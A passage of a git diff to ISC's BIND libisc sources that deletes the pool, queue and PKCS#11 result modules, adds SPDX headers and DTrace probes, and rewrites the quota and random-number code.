-#include <isc/once.h>
-#include <isc/util.h>
-
-#include <pk11/result.h>
-
-static const char *text[PK11_R_NRESULTS] = {
-	"PKCS#11 initialization failed", /*%< 0 */
-	"no PKCS#11 provider",		 /*%< 1 */
-	"PKCS#11 no random service",	 /*%< 2 */
-	"PKCS#11 no digist service",	 /*%< 3 */
-	"PKCS#11 no AES service",	 /*%< 4 */
-};
-
-static const char *ids[PK11_R_NRESULTS] = {
-	"PK11_R_INITFAILED",	  "PK11_R_NOPROVIDER",
-	"PK11_R_NORANDOMSERVICE", "PK11_R_NODIGESTSERVICE",
-	"PK11_R_NOAESSERVICE",
-};
-
-#define PK11_RESULT_RESULTSET 2
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-initialize_action(void) {
-	isc_result_t result;
-
-	result = isc_result_register(ISC_RESULTCLASS_PK11, PK11_R_NRESULTS,
-				     text, PK11_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_register() failed: %u", result);
-	}
-
-	result = isc_result_registerids(ISC_RESULTCLASS_PK11, PK11_R_NRESULTS,
-					ids, PK11_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_result_registerids() failed: %u", result);
-	}
-}
-
-static void
-initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
-}
-
-const char *
-pk11_result_totext(isc_result_t result) {
-	initialize();
-
-	return (isc_result_totext(result));
-}
-
-void
-pk11_result_register(void) {
-	initialize();
-}
diff --git a/lib/isc/pool.c b/lib/isc/pool.c
deleted file mode 100644
index 951e8000df..0000000000
--- a/lib/isc/pool.c
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/pool.h>
-#include <isc/random.h>
-#include <isc/util.h>
-
-/***
- *** Types.
- ***/
-
-struct isc_pool {
-	isc_mem_t *mctx;
-	unsigned int count;
-	isc_pooldeallocator_t free;
-	isc_poolinitializer_t init;
-	void *initarg;
-	void **pool;
-};
-
-/***
- *** Functions.
- ***/
-
-static isc_result_t
-alloc_pool(isc_mem_t *mctx, unsigned int count, isc_pool_t **poolp) {
-	isc_pool_t *pool;
-
-	pool = isc_mem_get(mctx, sizeof(*pool));
-	pool->count = count;
-	pool->free = NULL;
-	pool->init = NULL;
-	pool->initarg = NULL;
-	pool->mctx = NULL;
-	isc_mem_attach(mctx, &pool->mctx);
-	pool->pool = isc_mem_get(mctx, count * sizeof(void *));
-	memset(pool->pool, 0, count * sizeof(void *));
-
-	*poolp = pool;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_pool_create(isc_mem_t *mctx, unsigned int count,
-		isc_pooldeallocator_t release, isc_poolinitializer_t init,
-		void *initarg, isc_pool_t **poolp) {
-	isc_pool_t *pool = NULL;
-	isc_result_t result;
-	unsigned int i;
-
-	INSIST(count > 0);
-
-	/* Allocate the pool structure */
-	result = alloc_pool(mctx, count, &pool);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	pool->free = release;
-	pool->init = init;
-	pool->initarg = initarg;
-
-	/* Populate the pool */
-	for (i = 0; i < count; i++) {
-		result = init(&pool->pool[i], initarg);
-		if (result != ISC_R_SUCCESS) {
-			isc_pool_destroy(&pool);
-			return (result);
-		}
-	}
-
-	*poolp = pool;
-	return (ISC_R_SUCCESS);
-}
-
-void *
-isc_pool_get(isc_pool_t *pool) {
-	return (pool->pool[isc_random_uniform(pool->count)]);
-}
-
-int
-isc_pool_count(isc_pool_t *pool) {
-	REQUIRE(pool != NULL);
-	return (pool->count);
-}
-
-isc_result_t
-isc_pool_expand(isc_pool_t **sourcep, unsigned int count,
-		isc_pool_t **targetp) {
-	isc_result_t result;
-	isc_pool_t *pool;
-
-	REQUIRE(sourcep != NULL && *sourcep != NULL);
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	pool = *sourcep;
-	*sourcep = NULL;
-	if (count > pool->count) {
-		isc_pool_t *newpool = NULL;
-		unsigned int i;
-
-		/* Allocate a new pool structure */
-		result = alloc_pool(pool->mctx, count, &newpool);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		newpool->free = pool->free;
-		newpool->init = pool->init;
-		newpool->initarg = pool->initarg;
-
-		/* Populate the new entries */
-		for (i = pool->count; i < count; i++) {
-			result = newpool->init(&newpool->pool[i],
-					       newpool->initarg);
-			if (result != ISC_R_SUCCESS) {
-				isc_pool_destroy(&newpool);
-				return (result);
-			}
-		}
-
-		/* Copy over the objects from the old pool */
-		for (i = 0; i < pool->count; i++) {
-			newpool->pool[i] = pool->pool[i];
-			pool->pool[i] = NULL;
-		}
-
-		isc_pool_destroy(&pool);
-		pool = newpool;
-	}
-
-	*targetp = pool;
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc_pool_destroy(isc_pool_t **poolp) {
-	unsigned int i;
-	isc_pool_t *pool = *poolp;
-	*poolp = NULL;
-	for (i = 0; i < pool->count; i++) {
-		if (pool->free != NULL && pool->pool[i] != NULL) {
-			pool->free(&pool->pool[i]);
-		}
-	}
-	isc_mem_put(pool->mctx, pool->pool, pool->count * sizeof(void *));
-	isc_mem_putanddetach(&pool->mctx, pool, sizeof(*pool));
-}
diff --git a/lib/isc/portset.c b/lib/isc/portset.c
index e24673c80a..789195a612 100644
--- a/lib/isc/portset.c
+++ b/lib/isc/portset.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -32,12 +34,12 @@ struct isc_portset {
 	uint32_t buf[ISC_PORTSET_BUFSIZE];
 };
 
-static inline bool
+static bool
 portset_isset(isc_portset_t *portset, in_port_t port) {
 	return ((portset->buf[port >> 5] & ((uint32_t)1 << (port & 31))) != 0);
 }
 
-static inline void
+static void
 portset_add(isc_portset_t *portset, in_port_t port) {
 	if (!portset_isset(portset, port)) {
 		portset->nports++;
@@ -45,7 +47,7 @@ portset_add(isc_portset_t *portset, in_port_t port) {
 	}
 }
 
-static inline void
+static void
 portset_remove(isc_portset_t *portset, in_port_t port) {
 	if (portset_isset(portset, port)) {
 		portset->nports--;
@@ -60,9 +62,7 @@ isc_portset_create(isc_mem_t *mctx, isc_portset_t **portsetp) {
 	REQUIRE(portsetp != NULL && *portsetp == NULL);
 
 	portset = isc_mem_get(mctx, sizeof(*portset));
-
-	/* Make the set 'empty' by default */
-	memset(portset, 0, sizeof(*portset));
+	*portset = (isc_portset_t){ 0 };
 	*portsetp = portset;
 
 	return (ISC_R_SUCCESS);
diff --git a/lib/isc/probes.d b/lib/isc/probes.d
new file mode 100644
index 0000000000..dccedcb113
--- /dev/null
+++ b/lib/isc/probes.d
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+provider libisc {
+	probe job_cb_after(void *, void *, void *);
+	probe job_cb_before(void *, void *, void *);
+
+	probe rwlock_destroy(void *);
+	probe rwlock_downgrade(void *);
+	probe rwlock_init(void *);
+	probe rwlock_rdlock_acq(void *);
+	probe rwlock_rdlock_req(void *);
+	probe rwlock_rdunlock(void *);
+	probe rwlock_tryrdlock(void *, int);
+	probe rwlock_tryupgrade(void *, int);
+	probe rwlock_trywrlock(void *, int);
+	probe rwlock_wrlock_acq(void *);
+	probe rwlock_wrlock_req(void *);
+	probe rwlock_wrunlock(void *);
+};
diff --git a/lib/isc/queue.c b/lib/isc/queue.c
deleted file mode 100644
index d16c8e69ae..0000000000
--- a/lib/isc/queue.c
+++ /dev/null
@@ -1,232 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <inttypes.h>
-
-#include <isc/align.h>
-#include <isc/atomic.h>
-#include <isc/hp.h>
-#include <isc/mem.h>
-#include <isc/queue.h>
-#include <isc/string.h>
-
-#define BUFFER_SIZE 1024
-
-#define MAX_THREADS 128
-
-#define ALIGNMENT 128
-
-static uintptr_t nulluintptr = (uintptr_t)NULL;
-
-typedef struct node {
-	atomic_uint_fast32_t deqidx;
-	atomic_uintptr_t items[BUFFER_SIZE];
-	atomic_uint_fast32_t enqidx;
-	atomic_uintptr_t next;
-	isc_mem_t *mctx;
-} node_t;
-
-/* we just need one Hazard Pointer */
-#define HP_TAIL 0
-#define HP_HEAD 0
-
-struct isc_queue {
-	alignas(ALIGNMENT) atomic_uintptr_t head;
-	alignas(ALIGNMENT) atomic_uintptr_t tail;
-	isc_mem_t *mctx;
-	int max_threads;
-	int taken;
-	isc_hp_t *hp;
-	void *alloced_ptr;
-};
-
-static node_t *
-node_new(isc_mem_t *mctx, uintptr_t item) {
-	node_t *node = isc_mem_get(mctx, sizeof(*node));
-	*node = (node_t){ .mctx = NULL };
-
-	atomic_init(&node->deqidx, 0);
-	atomic_init(&node->enqidx, 1);
-	atomic_init(&node->next, 0);
-	atomic_init(&node->items[0], item);
-
-	for (int i = 1; i < BUFFER_SIZE; i++) {
-		atomic_init(&node->items[i], 0);
-	}
-
-	isc_mem_attach(mctx, &node->mctx);
-
-	return (node);
-}
-
-static void
-node_destroy(void *node0) {
-	node_t *node = (node_t *)node0;
-
-	isc_mem_putanddetach(&node->mctx, node, sizeof(*node));
-}
-
-static bool
-node_cas_next(node_t *node, node_t *cmp, const node_t *val) {
-	return (atomic_compare_exchange_strong(&node->next, (uintptr_t *)&cmp,
-					       (uintptr_t)val));
-}
-
-static bool
-queue_cas_tail(isc_queue_t *queue, node_t *cmp, const node_t *val) {
-	return (atomic_compare_exchange_strong(&queue->tail, (uintptr_t *)&cmp,
-					       (uintptr_t)val));
-}
-
-static bool
-queue_cas_head(isc_queue_t *queue, node_t *cmp, const node_t *val) {
-	return (atomic_compare_exchange_strong(&queue->head, (uintptr_t *)&cmp,
-					       (uintptr_t)val));
-}
-
-isc_queue_t *
-isc_queue_new(isc_mem_t *mctx, int max_threads) {
-	isc_queue_t *queue = NULL;
-	node_t *sentinel = NULL;
-	void *qbuf = NULL;
-	uintptr_t qptr;
-
-	/*
-	 * A trick to allocate an aligned isc_queue_t structure
-	 */
-	qbuf = isc_mem_get(mctx, sizeof(*queue) + ALIGNMENT);
-	qptr = (uintptr_t)qbuf;
-	queue = (isc_queue_t *)(qptr + (ALIGNMENT - (qptr % ALIGNMENT)));
-
-	if (max_threads == 0) {
-		max_threads = MAX_THREADS;
-	}
-
-	*queue = (isc_queue_t){
-		.max_threads = max_threads,
-		.alloced_ptr = qbuf,
-	};
-
-	isc_mem_attach(mctx, &queue->mctx);
-
-	queue->hp = isc_hp_new(mctx, 1, node_destroy);
-
-	sentinel = node_new(mctx, nulluintptr);
-	atomic_init(&sentinel->enqidx, 0);
-
-	atomic_init(&queue->head, (uintptr_t)sentinel);
-	atomic_init(&queue->tail, (uintptr_t)sentinel);
-
-	return (queue);
-}
-
-void
-isc_queue_enqueue(isc_queue_t *queue, uintptr_t item) {
-	REQUIRE(item != nulluintptr);
-
-	while (true) {
-		node_t *lt = NULL;
-		uint_fast32_t idx;
-		uintptr_t n = nulluintptr;
-
-		lt = (node_t *)isc_hp_protect(queue->hp, 0, &queue->tail);
-		idx = atomic_fetch_add(&lt->enqidx, 1);
-		if (idx > BUFFER_SIZE - 1) {
-			node_t *lnext = NULL;
-
-			if (lt != (node_t *)atomic_load(&queue->tail)) {
-				continue;
-			}
-
-			lnext = (node_t *)atomic_load(&lt->next);
-			if (lnext == NULL) {
-				node_t *newnode = node_new(queue->mctx, item);
-				if (node_cas_next(lt, NULL, newnode)) {
-					queue_cas_tail(queue, lt, newnode);
-					isc_hp_clear(queue->hp);
-					return;
-				}
-				node_destroy(newnode);
-			} else {
-				queue_cas_tail(queue, lt, lnext);
-			}
-
-			continue;
-		}
-
-		if (atomic_compare_exchange_strong(&lt->items[idx], &n, item)) {
-			isc_hp_clear(queue->hp);
-			return;
-		}
-	}
-}
-
-uintptr_t
-isc_queue_dequeue(isc_queue_t *queue) {
-	REQUIRE(queue != NULL);
-
-	while (true) {
-		node_t *lh = NULL;
-		uint_fast32_t idx;
-		uintptr_t item;
-
-		lh = (node_t *)isc_hp_protect(queue->hp, 0, &queue->head);
-		if (atomic_load(&lh->deqidx) >= atomic_load(&lh->enqidx) &&
-		    atomic_load(&lh->next) == nulluintptr)
-		{
-			break;
-		}
-
-		idx = atomic_fetch_add(&lh->deqidx, 1);
-		if (idx > BUFFER_SIZE - 1) {
-			node_t *lnext = (node_t *)atomic_load(&lh->next);
-			if (lnext == NULL) {
-				break;
-			}
-			if (queue_cas_head(queue, lh, lnext)) {
-				isc_hp_retire(queue->hp, (uintptr_t)lh);
-			}
-
-			continue;
-		}
-
-		item = atomic_exchange(&(lh->items[idx]),
-				       (uintptr_t)&queue->taken);
-		if (item == nulluintptr) {
-			continue;
-		}
-
-		isc_hp_clear(queue->hp);
-		return (item);
-	}
-
-	isc_hp_clear(queue->hp);
-	return (nulluintptr);
-}
-
-void
-isc_queue_destroy(isc_queue_t *queue) {
-	node_t *last = NULL;
-	void *alloced = NULL;
-
-	REQUIRE(queue != NULL);
-
-	while (isc_queue_dequeue(queue) != nulluintptr) {
-		/* do nothing */
-	}
-
-	last = (node_t *)atomic_load_relaxed(&queue->head);
-	node_destroy(last);
-	isc_hp_destroy(queue->hp);
-
-	alloced = queue->alloced_ptr;
-	isc_mem_putanddetach(&queue->mctx, alloced, sizeof(*queue) + ALIGNMENT);
-}
diff --git a/lib/isc/quota.c b/lib/isc/quota.c
index 709f174042..ad58f33810 100644
--- a/lib/isc/quota.c
+++ b/lib/isc/quota.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,49 +17,33 @@
 
 #include <isc/atomic.h>
 #include <isc/quota.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #define QUOTA_MAGIC    ISC_MAGIC('Q', 'U', 'O', 'T')
 #define VALID_QUOTA(p) ISC_MAGIC_VALID(p, QUOTA_MAGIC)
 
-#define QUOTA_CB_MAGIC	  ISC_MAGIC('Q', 'T', 'C', 'B')
-#define VALID_QUOTA_CB(p) ISC_MAGIC_VALID(p, QUOTA_CB_MAGIC)
-
 void
 isc_quota_init(isc_quota_t *quota, unsigned int max) {
 	atomic_init(&quota->max, max);
 	atomic_init(&quota->used, 0);
 	atomic_init(&quota->soft, 0);
-	atomic_init(&quota->waiting, 0);
-	ISC_LIST_INIT(quota->cbs);
-	isc_mutex_init(&quota->cblock);
+	cds_wfcq_init(&quota->jobs.head, &quota->jobs.tail);
+	ISC_LINK_INIT(quota, link);
 	quota->magic = QUOTA_MAGIC;
 }
 
-void
-isc_quota_destroy(isc_quota_t *quota) {
-	REQUIRE(VALID_QUOTA(quota));
-	quota->magic = 0;
-
-	INSIST(atomic_load(&quota->used) == 0);
-	INSIST(atomic_load(&quota->waiting) == 0);
-	INSIST(ISC_LIST_EMPTY(quota->cbs));
-	atomic_store_release(&quota->max, 0);
-	atomic_store_release(&quota->used, 0);
-	atomic_store_release(&quota->soft, 0);
-	isc_mutex_destroy(&quota->cblock);
-}
-
 void
 isc_quota_soft(isc_quota_t *quota, unsigned int soft) {
 	REQUIRE(VALID_QUOTA(quota));
-	atomic_store_release(&quota->soft, soft);
+	REQUIRE(atomic_load_relaxed(&quota->max) > soft);
+	atomic_store_relaxed(&quota->soft, soft);
 }
 
 void
 isc_quota_max(isc_quota_t *quota, unsigned int max) {
 	REQUIRE(VALID_QUOTA(quota));
-	atomic_store_release(&quota->max, max);
+	atomic_store_relaxed(&quota->max, max);
 }
 
 unsigned int
@@ -78,119 +64,65 @@ isc_quota_getused(isc_quota_t *quota) {
 	return (atomic_load_relaxed(&quota->used));
 }
 
-static isc_result_t
-quota_reserve(isc_quota_t *quota) {
-	isc_result_t result;
-	uint_fast32_t max = atomic_load_acquire(&quota->max);
-	uint_fast32_t soft = atomic_load_acquire(&quota->soft);
-	uint_fast32_t used = atomic_load_acquire(&quota->used);
-	do {
-		if (max != 0 && used >= max) {
-			return (ISC_R_QUOTA);
-		}
-		if (soft != 0 && used >= soft) {
-			result = ISC_R_SOFTQUOTA;
-		} else {
-			result = ISC_R_SUCCESS;
-		}
-	} while (!atomic_compare_exchange_weak_acq_rel(&quota->used, &used,
-						       used + 1));
-	return (result);
-}
-
-/* Must be quota->cbslock locked */
-static void
-enqueue(isc_quota_t *quota, isc_quota_cb_t *cb) {
-	REQUIRE(cb != NULL);
-	ISC_LIST_ENQUEUE(quota->cbs, cb, link);
-	atomic_fetch_add_release(&quota->waiting, 1);
-}
-
-/* Must be quota->cbslock locked */
-static isc_quota_cb_t *
-dequeue(isc_quota_t *quota) {
-	isc_quota_cb_t *cb = ISC_LIST_HEAD(quota->cbs);
-	INSIST(cb != NULL);
-	ISC_LIST_DEQUEUE(quota->cbs, cb, link);
-	atomic_fetch_sub_relaxed(&quota->waiting, 1);
-	return (cb);
-}
-
-static void
-quota_release(isc_quota_t *quota) {
+void
+isc_quota_release(isc_quota_t *quota) {
 	/*
-	 * This is opportunistic - we might race with a failing quota_attach_cb
-	 * and not detect that something is waiting, but eventually someone will
-	 * be releasing quota and will detect it, so we don't need to worry -
-	 * and we're saving a lot by not locking cblock every time.
+	 * We are using the cds_wfcq_dequeue_blocking() variant here that
+	 * has an internal mutex because we need synchronization on
+	 * multiple dequeues running from different threads.
 	 */
-
-	if (atomic_load_acquire(&quota->waiting) > 0) {
-		isc_quota_cb_t *cb = NULL;
-		LOCK(&quota->cblock);
-		if (atomic_load_relaxed(&quota->waiting) > 0) {
-			cb = dequeue(quota);
-		}
-		UNLOCK(&quota->cblock);
-		if (cb != NULL) {
-			cb->cb_func(quota, cb->data);
-			return;
-		}
-	}
-
-	INSIST(atomic_fetch_sub_release(&quota->used, 1) > 0);
-}
-
-static isc_result_t
-doattach(isc_quota_t *quota, isc_quota_t **p) {
-	isc_result_t result;
-	REQUIRE(p != NULL && *p == NULL);
-
-	result = quota_reserve(quota);
-	if (result == ISC_R_SUCCESS || result == ISC_R_SOFTQUOTA) {
-		*p = quota;
+	struct cds_wfcq_node *node =
+		cds_wfcq_dequeue_blocking(&quota->jobs.head, &quota->jobs.tail);
+	if (node == NULL) {
+		uint_fast32_t used = atomic_fetch_sub_relaxed(&quota->used, 1);
+		INSIST(used > 0);
+		return;
 	}
 
-	return (result);
+	isc_job_t *job = caa_container_of(node, isc_job_t, wfcq_node);
+	job->cb(job->cbarg);
 }
 
 isc_result_t
-isc_quota_attach(isc_quota_t *quota, isc_quota_t **quotap) {
+isc_quota_acquire_cb(isc_quota_t *quota, isc_job_t *job, isc_job_cb cb,
+		     void *cbarg) {
 	REQUIRE(VALID_QUOTA(quota));
-	REQUIRE(quotap != NULL && *quotap == NULL);
-
-	return (isc_quota_attach_cb(quota, quotap, NULL));
-}
+	REQUIRE(job == NULL || cb != NULL);
+
+	uint_fast32_t used = atomic_fetch_add_relaxed(&quota->used, 1);
+	uint_fast32_t max = atomic_load_relaxed(&quota->max);
+	if (max != 0 && used >= max) {
+		(void)atomic_fetch_sub_relaxed(&quota->used, 1);
+		if (job != NULL) {
+			job->cb = cb;
+			job->cbarg = cbarg;
+			cds_wfcq_node_init(&job->wfcq_node);
+
+			/*
+			 * The cds_wfcq_enqueue() is non-blocking (no internal
+			 * mutex involved), so it offers a slight advantage.
+			 */
+			cds_wfcq_enqueue(&quota->jobs.head, &quota->jobs.tail,
+					 &job->wfcq_node);
+		}
+		return (ISC_R_QUOTA);
+	}
 
-isc_result_t
-isc_quota_attach_cb(isc_quota_t *quota, isc_quota_t **quotap,
-		    isc_quota_cb_t *cb) {
-	REQUIRE(VALID_QUOTA(quota));
-	REQUIRE(cb == NULL || VALID_QUOTA_CB(cb));
-	REQUIRE(quotap != NULL && *quotap == NULL);
-
-	isc_result_t result = doattach(quota, quotap);
-	if (result == ISC_R_QUOTA && cb != NULL) {
-		LOCK(&quota->cblock);
-		enqueue(quota, cb);
-		UNLOCK(&quota->cblock);
+	uint_fast32_t soft = atomic_load_relaxed(&quota->soft);
+	if (soft != 0 && used >= soft) {
+		return (ISC_R_SOFTQUOTA);
 	}
-	return (result);
-}
 
-void
-isc_quota_cb_init(isc_quota_cb_t *cb, isc_quota_cb_func_t cb_func, void *data) {
-	ISC_LINK_INIT(cb, link);
-	cb->cb_func = cb_func;
-	cb->data = data;
-	cb->magic = QUOTA_CB_MAGIC;
+	return (ISC_R_SUCCESS);
 }
 
 void
-isc_quota_detach(isc_quota_t **quotap) {
-	REQUIRE(quotap != NULL && VALID_QUOTA(*quotap));
-	isc_quota_t *quota = *quotap;
-	*quotap = NULL;
+isc_quota_destroy(isc_quota_t *quota) {
+	REQUIRE(VALID_QUOTA(quota));
+	quota->magic = 0;
+
+	INSIST(atomic_load(&quota->used) == 0);
+	INSIST(cds_wfcq_empty(&quota->jobs.head, &quota->jobs.tail));
 
-	quota_release(quota);
+	cds_wfcq_destroy(&quota->jobs.head, &quota->jobs.tail);
 }
diff --git a/lib/isc/radix.c b/lib/isc/radix.c
index f24542f1f2..54c03832f1 100644
--- a/lib/isc/radix.c
+++ b/lib/isc/radix.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -121,7 +123,8 @@ _comp_with_mask(void *addr, void *dest, u_int mask) {
 		u_int m = ((~0U) << (8 - (mask % 8)));
 
 		if ((mask % 8) == 0 ||
-		    (((u_char *)addr)[n] & m) == (((u_char *)dest)[n] & m)) {
+		    (((u_char *)addr)[n] & m) == (((u_char *)dest)[n] & m))
+		{
 			return (1);
 		}
 	}
@@ -422,7 +425,8 @@ isc_radix_insert(isc_radix_tree_t *radix, isc_radix_node_t **target,
 				/* Merging nodes */
 				for (i = 0; i < RADIX_FAMILIES; i++) {
 					if (node->node_num[i] == -1 &&
-					    source->node_num[i] != -1) {
+					    source->node_num[i] != -1)
+					{
 						node->node_num[i] =
 							radix->num_added_node +
 							source->node_num[i];
@@ -690,13 +694,13 @@ isc_radix_remove(isc_radix_tree_t *radix, isc_radix_node_t *node) {
 		return;
 	}
 
-	isc_mem_put(radix->mctx, node, sizeof(*node));
-	radix->num_active_node--;
-
 	if (parent->r == node) {
 		parent->r = child;
 	} else {
 		INSIST(parent->l == node);
 		parent->l = child;
 	}
+
+	isc_mem_put(radix->mctx, node, sizeof(*node));
+	radix->num_active_node--;
 }
diff --git a/lib/isc/random.c b/lib/isc/random.c
index 7975d8581e..a9608b8696 100644
--- a/lib/isc/random.c
+++ b/lib/isc/random.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -33,32 +35,13 @@
 #include <string.h>
 #include <unistd.h>
 
-#include <isc/once.h>
-#include <isc/platform.h>
+#include <isc/entropy.h>
 #include <isc/random.h>
 #include <isc/result.h>
 #include <isc/thread.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
-#include "entropy_private.h"
-
-/*
- * The specific implementation for PRNG is included as a C file
- * that has to provide a static variable named seed, and a function
- * uint32_t next(void) that provides next random number.
- *
- * The implementation must be thread-safe.
- */
-
-/*
- * Two contestants have been considered: the xoroshiro family of the
- * functions by Villa&Blackman, and PCG by O'Neill.  After
- * consideration, the xoshiro128starstar function has been chosen as
- * the uint32_t random number provider because it is very fast and has
- * good enough properties for our usage pattern.
- */
-
 /*
  * Written in 2018 by David Blackman and Sebastiano Vigna (vigna@acm.org)
  *
@@ -75,19 +58,18 @@
  * It has excellent (sub-ns) speed, a state size (128 bits) that is large
  * enough for mild parallelism, and it passes all tests we are aware of.
  *
- * For generating just single-precision (i.e., 32-bit) floating-point
- * numbers, xoshiro128+ is even faster.
- *
  * The state must be seeded so that it is not everywhere zero.
  */
+
+static thread_local bool initialized = false;
 static thread_local uint32_t seed[4] = { 0 };
 
-static inline uint32_t
+static uint32_t
 rotl(const uint32_t x, int k) {
 	return ((x << k) | (x >> (32 - k)));
 }
 
-static inline uint32_t
+static uint32_t
 next(void) {
 	uint32_t result_starstar, t;
 
@@ -106,54 +88,54 @@ next(void) {
 	return (result_starstar);
 }
 
-static thread_local isc_once_t isc_random_once = ISC_ONCE_INIT;
-
 static void
-isc_random_initialize(void) {
-	int useed[4] = { 0, 0, 0, 1 };
+isc__random_initialize(void) {
+	if (initialized) {
+		return;
+	}
+
 #if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
 	/*
-	 * Set a constant seed to help in problem reproduction should fuzzing
-	 * find a crash or a hang.  The seed array must be non-zero else
-	 * xoshiro128starstar will generate an infinite series of zeroes.
+	 * A fixed seed helps with problem reproduction when fuzzing. It must be
+	 * non-zero else xoshiro128starstar will generate only zeroes, and the
+	 * first result needs to be non-zero as expected by random_test.c
 	 */
-#else  /* if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION */
-	isc_entropy_get(useed, sizeof(useed));
+	seed[0] = 1;
 #endif /* if FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION */
-	memmove(seed, useed, sizeof(seed));
+
+	while (seed[0] == 0 && seed[1] == 0 && seed[2] == 0 && seed[3] == 0) {
+		isc_entropy_get(seed, sizeof(seed));
+	}
+	initialized = true;
 }
 
 uint8_t
 isc_random8(void) {
-	RUNTIME_CHECK(isc_once_do(&isc_random_once, isc_random_initialize) ==
-		      ISC_R_SUCCESS);
-	return (next() & 0xff);
+	isc__random_initialize();
+	return ((uint8_t)next());
 }
 
 uint16_t
 isc_random16(void) {
-	RUNTIME_CHECK(isc_once_do(&isc_random_once, isc_random_initialize) ==
-		      ISC_R_SUCCESS);
-	return (next() & 0xffff);
+	isc__random_initialize();
+	return ((uint16_t)next());
 }
 
 uint32_t
 isc_random32(void) {
-	RUNTIME_CHECK(isc_once_do(&isc_random_once, isc_random_initialize) ==
-		      ISC_R_SUCCESS);
+	isc__random_initialize();
 	return (next());
 }
 
 void
 isc_random_buf(void *buf, size_t buflen) {
-	int i;
-	uint32_t r;
-
 	REQUIRE(buf != NULL);
 	REQUIRE(buflen > 0);
 
-	RUNTIME_CHECK(isc_once_do(&isc_random_once, isc_random_initialize) ==
-		      ISC_R_SUCCESS);
+	int i;
+	uint32_t r;
+
+	isc__random_initialize();
 
 	for (i = 0; i + sizeof(r) <= buflen; i += sizeof(r)) {
 		r = next();
@@ -165,41 +147,77 @@ isc_random_buf(void *buf, size_t buflen) {
 }
 
 uint32_t
-isc_random_uniform(uint32_t upper_bound) {
-	/* Copy of arc4random_uniform from OpenBSD */
-	uint32_t r, min;
-
-	RUNTIME_CHECK(isc_once_do(&isc_random_once, isc_random_initialize) ==
-		      ISC_R_SUCCESS);
-
-	if (upper_bound < 2) {
-		return (0);
-	}
-
-#if (ULONG_MAX > 0xffffffffUL)
-	min = 0x100000000UL % upper_bound;
-#else  /* if (ULONG_MAX > 0xffffffffUL) */
-	/* Calculate (2**32 % upper_bound) avoiding 64-bit math */
-	if (upper_bound > 0x80000000) {
-		min = 1 + ~upper_bound; /* 2**32 - upper_bound */
-	} else {
-		/* (2**32 - (x * 2)) % x == 2**32 % x when x <= 2**31 */
-		min = ((0xffffffff - (upper_bound * 2)) + 1) % upper_bound;
-	}
-#endif /* if (ULONG_MAX > 0xffffffffUL) */
+isc_random_uniform(uint32_t limit) {
+	isc__random_initialize();
 
 	/*
-	 * This could theoretically loop forever but each retry has
-	 * p > 0.5 (worst case, usually far better) of selecting a
-	 * number inside the range we need, so it should rarely need
-	 * to re-roll.
+	 * Daniel Lemire's nearly-divisionless unbiased bounded random numbers.
+	 *
+	 * https://lemire.me/blog/?p=17551
+	 *
+	 * The raw random number generator `next()` returns a 32-bit value.
+	 * We do a 64-bit multiply `next() * limit` and treat the product as a
+	 * 32.32 fixed-point value less than the limit. Our result will be the
+	 * integer part (upper 32 bits), and we will use the fraction part
